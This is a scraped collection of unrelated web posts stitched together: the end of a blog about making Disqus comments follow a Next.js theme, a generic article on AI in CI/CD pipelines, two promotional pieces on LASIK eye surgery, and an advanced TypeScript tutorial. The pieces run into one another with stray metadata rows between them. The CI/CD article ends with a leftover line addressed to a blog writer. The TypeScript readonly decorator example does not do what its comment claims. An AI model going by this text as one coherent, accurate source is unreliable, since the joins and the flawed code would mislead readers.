This allowed me to understand how the color scheme in Disqus was determined, but not yet why my changes wouldn't work. White text on a white background isn't quite the 'Auto' mode I was hoping for!
Searching for some help in <a href="https://stackoverflow.com/" target="_blank">StackOverflow</a>, I found my very same problem but no answer to it: <a href="https://stackoverflow.com/questions/75921829/disqus-theme-not-matching-background-when-changing-blog-theme-from-dark-to-light" target="_blank">Disqus theme not matching background when changing blog theme from dark to light</a>. Despite not finding a solution, I found some comfort in seeing that other peeps had my same problem and that it wasn't just me being... well... dumb xD
A little bit more digging and googling around brought me to another StackOverflow post, <a href="https://stackoverflow.com/questions/75787047/disqus-comments-dark-mode-renders-with-white-background?rq=2" target="_blank">Disqus comments Dark mode renders with white background</a> where <a href="https://stackoverflow.com/users/10312920/ken-mueller" target="_blank">Ken Mueller</a> mentions to "Remove the <meta name="color-scheme" content="dark" /> from your document.".
Now, I didn't have such a thing in my Next.js ecosystem, but I noticed that next-themes applied a `style="color-scheme: dark;"` to my main HTML tag.
```html
<html lang="en" class="dark" style="color-scheme: dark;">
```
<br />
*My Chrome inspector showing that the HTML tag in my website had this extra <code>style="color-scheme: dark;"</code> property.*
<br />
Since messing around with the inspector costs nothing, I've simply tried to remove the content of `style` and don't you know... it worked!
Checking <a href="https://www.npmjs.com/package/next-themes" target="_blank">next-themes documentation</a>, reading the codebase and bashing my head a little, I seem to understand that this HTML style change comes from the `enableColorScheme` setting of next-themes, which by default is set as `true`, but for my case would need to be set `false`.
```typescript
const MyApp = ({ Component, pageProps }: AppProps) => {
return (
<>
<ThemeProvider
attribute="class"
enableColorScheme={false}
>
<Provider store={store}>
<Component {...pageProps} />
</Provider>
</ThemeProvider>
</>
);
};
export default MyApp;
```
<br />
Wohoo! Works like a charm!
But no, wait!
Now if I am in an article page and I want to switch the theme there, my `<DiscussionEmbed>` component from <a href="https://www.npmjs.com/package/disqus-react" target="_blank">disqus-react</a> won't update automatically! So what do we do now?
I happen to have this component wrapped in a container for easier setup on my page, and I know that React would re-render a component should its key change... so 1 + 1 I had my 2:
```typescript
const DisqusComments: FC<DisqusCommentsProps> =
({ url, slug, title }) => {
// Import the name of the theme with useTheme() hook
// from next-themes
const { theme } = useTheme();
const disqusConfig = {
url: url,
identifier: slug,
title: title,
};
// Use it as a key={theme} for the DiscussionEmbed component
// so that it will re-render should the theme change
return (
<div className="my-14">
<DiscussionEmbed
key={theme}
shortname={"oh-no"}
config={disqusConfig}
/>
</div>
);
};
export default DisqusComments;
```
<br />
Basically, I'll use the name of the theme to determine whether the Disqus component should re-render, and should someone change the theme in an article page, __the Disqus comment section will reload with the correct theme__!
At last, all I wanted!
*My website Disqus section adapting to both dark and light color schemes. Yay!*
<br />
Let me know if this helped you somehow, if you had the same issue or if somehow it brought you some help understanding a bit more about the problem for your own specific case!
<br />

1,881,207 | How AI can optimize Continuous Integration and Continuous Deployment (CI/CD) processes. | AI can significantly optimize Continuous Integration and Continuous Deployment (CI/CD) processes by... | 0 | 2024-06-08T08:50:15 | https://dev.to/devops_den/how-ai-can-optimize-continuous-integration-and-continuous-deployment-cicd-processes-4f67 | AI can significantly optimize Continuous Integration and Continuous Deployment (CI/CD) processes by enhancing various stages of the software development lifecycle. Here’s how AI can contribute to each phase:
## 1. Automated Code Review and Quality Assurance
AI-Driven Code Review: Tools like DeepCode and Codacy use machine learning algorithms to review code changes automatically. They detect potential bugs, code smells, and adherence to coding standards more efficiently than manual reviews (CloudThat) (Mindbowser).
Automated Testing: AI can generate and execute tests automatically, identifying edge cases and potential failures. Tools like Testim use AI to create, execute, and maintain tests, reducing the burden on developers and improving test coverage (Zymr).
## 2. Intelligent Build Optimization
Predictive Build and Test Scheduling: AI can predict which parts of the codebase are most likely to fail based on historical data and recent changes. This allows the CI/CD pipeline to prioritize and optimize the build and test sequence, saving time and computational resources (CloudThat) (Zymr).
Resource Allocation: AI can optimize the allocation of resources (CPU, memory) during the build process, ensuring efficient usage of hardware and cloud resources.
## 3. Enhanced Continuous Deployment
Automated Deployment Decisions: AI can analyze various metrics (performance, user feedback, error rates) to decide the optimal time for deploying new features. It can also determine the safest deployment strategy, such as canary releases or blue-green deployments (Zymr).
Rollback Management: AI can predict the success of deployments and automatically roll back changes if certain thresholds are breached, minimizing downtime and user impact.
## 4. Performance Monitoring and Incident Management
Anomaly Detection: AI systems like AIOps (Artificial Intelligence for IT Operations) can continuously monitor application performance, identifying anomalies and potential issues before they impact users. Tools like Datadog and Dynatrace use machine learning to detect and alert on anomalies in real-time (Mindbowser).
Root Cause Analysis: When incidents occur, AI can assist in pinpointing the root cause more quickly by correlating data from various sources (logs, metrics, traces), reducing the mean time to resolution (MTTR).
## 5. Continuous Improvement through Feedback Loops
User Feedback Analysis: AI can analyze user feedback from various channels (social media, reviews, support tickets) to identify common issues and areas for improvement. This feedback can then be integrated into the [CI/CD pipeline](https://devopsden.io/article/what-is-the-ci-cd-pipeline) to drive continuous improvement (Zymr).
Performance Optimization: AI-driven analytics can continuously assess application performance and suggest optimizations, ensuring that the deployed applications are running efficiently and effectively.
## 6. Security and Compliance
Automated Security Scans: AI can enhance security by automatically scanning for vulnerabilities and compliance issues during the CI/CD process. Tools like Snyk and Veracode leverage AI to detect security flaws in code and dependencies (Mindbowser).
Continuous Compliance Monitoring: AI can help ensure that the software adheres to regulatory and compliance standards by continuously monitoring and analyzing code changes for compliance violations.
## Conclusion
AI-driven automation in CI/CD processes not only enhances efficiency and reliability but also allows development teams to focus more on innovation rather than manual and repetitive tasks. By leveraging AI, organizations can achieve faster delivery cycles, improved code quality, and a more resilient and secure software development lifecycle.
By covering these aspects in your blog, you can provide readers with a comprehensive understanding of how AI can revolutionize CI/CD processes, backed by real-world examples and case studies.

While traditional LASIK procedures are highly effective, advancements in technology continue to improve the safety and outcomes of this life-changing surgery. One such advancement is LAHayeSIK technology, developed by Dr. Leon C. LaHaye. This innovative approach to LASIK surgery enhances precision, reduces complications, and improves overall patient outcomes. Here’s how LAHayeSIK technology is transforming LASIK surgery.
**The Basics of LASIK Surgery**
LASIK (Laser-Assisted In Situ Keratomileusis) involves two primary stages:
**Creation of the Corneal Flap:**
A thin flap is created in the outer layer of the cornea using a microkeratome or femtosecond laser.
**Reshaping the Cornea:**
The flap is lifted, and an excimer laser is used to reshape the underlying corneal tissue, correcting refractive errors such as myopia, hyperopia, and astigmatism. The flap is then replaced, acting as a natural bandage.
**Introducing LAHayeSIK Technology**
LAHayeSIK technology, named after its innovator Dr. Leon C. LaHaye, enhances the traditional LASIK procedure by incorporating a single, multifunctional instrument that performs multiple tasks during the surgery.

1,881,201 | Advanced TypeScript Techniques for JavaScript Developers | TypeScript, with its robust type system and seamless integration with JavaScript, has revolutionized... | 0 | 2024-06-08T08:31:04 | https://dev.to/abhaysinghr1/advanced-typescript-techniques-for-javascript-developers-35jj | javascript, typescript, programming, webdev | TypeScript, with its robust type system and seamless integration with JavaScript, has revolutionized the way developers approach large-scale applications. While many have embraced the basics of TypeScript, understanding its advanced features can significantly enhance your productivity and code quality. This comprehensive guide explores advanced TypeScript techniques that every seasoned JavaScript developer should master.
### 1. Advanced Types
#### Union and Intersection Types
Union types allow a variable to hold more than one type. This is particularly useful for functions that can return multiple types.
```typescript
function formatDate(date: string | Date): string {
if (date instanceof Date) {
return date.toISOString();
}
return new Date(date).toISOString();
}
```
Intersection types, on the other hand, combine multiple types into one.
```typescript
interface ErrorHandling {
success: boolean;
error?: { message: string };
}
interface ArtworksData {
artworks: { title: string }[];
}
type ArtworksResponse = ArtworksData & ErrorHandling;
const handleResponse = (response: ArtworksResponse) => {
if (response.success) {
console.log(response.artworks);
} else {
console.log(response.error?.message);
}
};
```
#### Literal Types and Type Aliases
Literal types restrict a variable to a specific value or a set of values.
```typescript
type Direction = 'north' | 'east' | 'south' | 'west';
function move(direction: Direction) {
console.log(`Moving ${direction}`);
}
move('north'); // Valid
// move('up'); // Error
```
Type aliases provide a way to create more expressive types.
```typescript
type UserID = string | number;
function getUser(id: UserID) {
// implementation
}
```
### 2. Advanced Generics
Generics provide a way to create reusable components. By using generics, you can create components that work with any data type.
#### Generic Functions
Creating functions that can work with various data types can be achieved with generics.
```typescript
function identity<T>(arg: T): T {
return arg;
}
let output1 = identity<string>("myString"); // Output type is 'string'
let output2 = identity<number>(42); // Output type is 'number'
```
#### Generic Constraints
Generics can be constrained to ensure they operate on a certain subset of types.
```typescript
interface Lengthwise {
length: number;
}
function loggingIdentity<T extends Lengthwise>(arg: T): T {
console.log(arg.length);
return arg;
}
// loggingIdentity(3); // Error
loggingIdentity({ length: 10, value: 3 });
```
#### Using `keyof` and `typeof`
The `keyof` keyword creates a union type of the keys of an object type.
```typescript
interface Person {
name: string;
age: number;
}
function getProperty<T, K extends keyof T>(obj: T, key: K): T[K] {
return obj[key];
}
const person: Person = { name: 'John', age: 30 };
let name = getProperty(person, 'name');
```
### 3. Utility Types
TypeScript provides several utility types that help with common type transformations.
#### Partial
The `Partial` type makes all properties in a type optional.
```typescript
interface Todo {
title: string;
description: string;
}
function updateTodo(todo: Todo, fieldsToUpdate: Partial<Todo>) {
return { ...todo, ...fieldsToUpdate };
}
const todo1 = {
title: 'Learn TypeScript',
description: 'Study the official documentation',
};
const todo2 = updateTodo(todo1, { description: 'Read TypeScript books' });
```
#### Pick and Omit
The `Pick` type constructs a type by picking a set of properties from another type.
```typescript
interface Todo {
title: string;
description: string;
completed: boolean;
}
type TodoPreview = Pick<Todo, 'title' | 'completed'>;
const todo: TodoPreview = {
title: 'Clean room',
completed: false,
};
```
The `Omit` type constructs a type by omitting a set of properties from another type.
```typescript
type TodoInfo = Omit<Todo, 'completed'>;
const todoInfo: TodoInfo = {
title: 'Clean room',
description: 'Clean the room thoroughly',
};
```
### 4. Advanced Decorators
Decorators are a powerful feature in TypeScript that allows you to modify classes and their members. They can be used to add metadata, change behavior, or inject dependencies.
#### Class Decorators
Class decorators are applied to the constructor of a class.
```typescript
function sealed(constructor: Function) {
Object.seal(constructor);
Object.seal(constructor.prototype);
}
@sealed
class BugReport {
type = "report";
title: string;
constructor(t: string) {
this.title = t;
}
}
```
#### Method Decorators
Method decorators are applied to the methods of a class.
```typescript
function log(target: any, propertyKey: string, descriptor: PropertyDescriptor) {
const originalMethod = descriptor.value;
descriptor.value = function(...args: any[]) {
console.log(`Calling ${propertyKey} with arguments: ${args}`);
return originalMethod.apply(this, args);
};
return descriptor;
}
class Calculator {
@log
add(a: number, b: number) {
return a + b;
}
}
const calculator = new Calculator();
calculator.add(2, 3); // Logs: "Calling add with arguments: 2,3"
```
#### Property Decorators
Property decorators are applied to properties within a class.
```typescript
function readonly(target: any, propertyKey: string) {
const descriptor: PropertyDescriptor = {
writable: false,
};
return descriptor;
}
class Cat {
@readonly
name: string;
constructor(name: string) {
this.name = name;
}
}
const cat = new Cat("Whiskers");
// cat.name = "Fluffy"; // Error: Cannot assign to 'name' because it is a read-only property.
```
### 5. Advanced Interface and Type Manipulation
#### Conditional Types
Conditional types allow you to create types that depend on a condition.
```typescript
type IsString<T> = T extends string ? "yes" : "no";
type A = IsString<string>; // "yes"
type B = IsString<number>; // "no"
```
#### Mapped Types
Mapped types allow you to create new types by transforming properties.
```typescript
type Readonly<T> = {
readonly [P in keyof T]: T[P];
};
interface Point {
x: number;
y: number;
}
const point: Readonly<Point> = { x: 10, y: 20 };
// point.x = 5; // Error: Cannot assign to 'x' because it is a read-only property.
```
#### Recursive Types
Recursive types are types that reference themselves. They are useful for defining nested structures.
```typescript
type JSONValue =
| string
| number
| boolean
| { [x: string]: JSONValue }
| JSONValue[];
const jsonObject: JSONValue = {
a: 1,
b: "string",
c: [true, { d: "nested" }],
};
```
### 6. Practical Examples and Use Cases
#### Advanced Form Handling with Generics
Creating flexible form handlers that can work with different types of forms.
```typescript
interface Form<T> {
values: T;
errors: Partial<Record<keyof T, string>>;
}
function handleSubmit<T>(form: Form<T>) {
console.log(form.values);
}
interface LoginForm {
username: string;
password: string;
}
const loginForm: Form<LoginForm> = {
values: { username: "user1", password: "pass" },
errors: {},
};
handleSubmit(loginForm);
```
#### Type-safe API Requests
Ensuring API requests and responses are type-safe using generics and utility types.
```typescript
interface ApiResponse<T> {
data: T;
error?: string;
}
async function fetchData<T>(url: string): Promise<ApiResponse<T>> {
const response = await fetch(url);
const data = await response.json();
return { data };
}
interface User {
id: number;
name: string;
}
async function getUser(id: number) {
const response = await fetchData<User>(`/api/users/${id}`);
if (response.error) {
console.error(response.error);
} else {
console.log(response.data);
}
}
```

1,881,200 | How Custom LASIK Maps Your Eye for Precise Vision Correction | Custom LASIK represents a significant advancement in laser vision correction technology, offering... | 0 | 2024-06-08T08:31:03 | https://dev.to/columbuslasikvision/how-custom-lasik-maps-your-eye-for-precise-vision-correction-d7a | Custom LASIK represents a significant advancement in laser vision correction technology, offering patients a more personalized and precise treatment compared to traditional LASIK. By using detailed mapping techniques, Custom LASIK tailors the procedure to the unique characteristics of each patient's eyes, leading to better outcomes and fewer complications. Here’s how Custom LASIK maps your eye for precise vision correction.
**Understanding Custom LASIK**
Custom LASIK, also known as wavefront-guided LASIK, utilizes advanced wavefront technology to create a detailed, three-dimensional map of the eye. This map, often referred to as an eye’s "fingerprint," captures the unique way light travels through the eye and detects even the most subtle imperfections in the cornea that standard LASIK might miss.
**The Wavefront Mapping Process**
**Wavefront Analyzer:**
The process begins with the wavefront analyzer, a device that measures how light waves travel through your eye. This analyzer sends a safe, low-intensity light wave into your eye, which reflects off the retina and exits back through the cornea.
**Creating the Map:**
As the light exits your eye, it is captured by the wavefront analyzer, which then generates a detailed map of your eye. This map displays the unique aberrations or imperfections in your vision, including higher-order aberrations that can cause issues like glare, halos, and poor night vision.
**Detailed Measurement:**
The wavefront measurement obtained is 25 percent more precise than standard measurements used in traditional LASIK. This higher level of precision allows the surgeon to identify and correct minute irregularities that glasses or contact lenses cannot address.
**Benefits of Custom LASIK Mapping**
**Personalized Treatment:**
The wavefront map allows the surgeon to customize the LASIK procedure to the specific needs of your eyes. Each treatment plan is tailored to correct the unique visual imperfections detected during the mapping process.
**Improved Vision Quality:**
By addressing higher-order aberrations, Custom LASIK can enhance the quality of your vision, reducing problems like glare and halos that can occur with traditional LASIK.
**Enhanced Precision:**
The detailed mapping ensures a more precise reshaping of the cornea, which leads to more accurate vision correction and better overall results.
**Reduced Risk of Complications:**
Custom LASIK’s precision helps minimize the risk of complications and side effects. The ability to target specific imperfections means a lower likelihood of needing secondary procedures or experiencing postoperative issues.
**The Custom LASIK Procedure**
**Pre-Surgical Evaluation:**
During your initial consultation, a thorough eye exam is conducted to determine your candidacy for Custom LASIK. This includes the wavefront analysis to create your personalized eye map.
**Creating the Corneal Flap:**
Similar to traditional LASIK, a thin flap is created in the cornea’s surface layer using a microkeratome or femtosecond laser.
**Wavefront-Guided Reshaping:**
The surgeon uses the wavefront map to guide the excimer laser as it reshapes the cornea. This customized reshaping corrects the specific aberrations identified in your eye’s map, providing you with optimal vision correction.
**Post-Surgery Care:**
After the procedure, you’ll receive detailed instructions for postoperative care to ensure a smooth recovery and achieve the best possible results.
**Why Choose Custom [LASIK](https://www.columbuslasikvision.com/about-lasik/)?**
**Superior Outcomes:**
Custom LASIK offers a higher likelihood of achieving 20/20 vision or better, thanks to its ability to correct subtle vision problems.
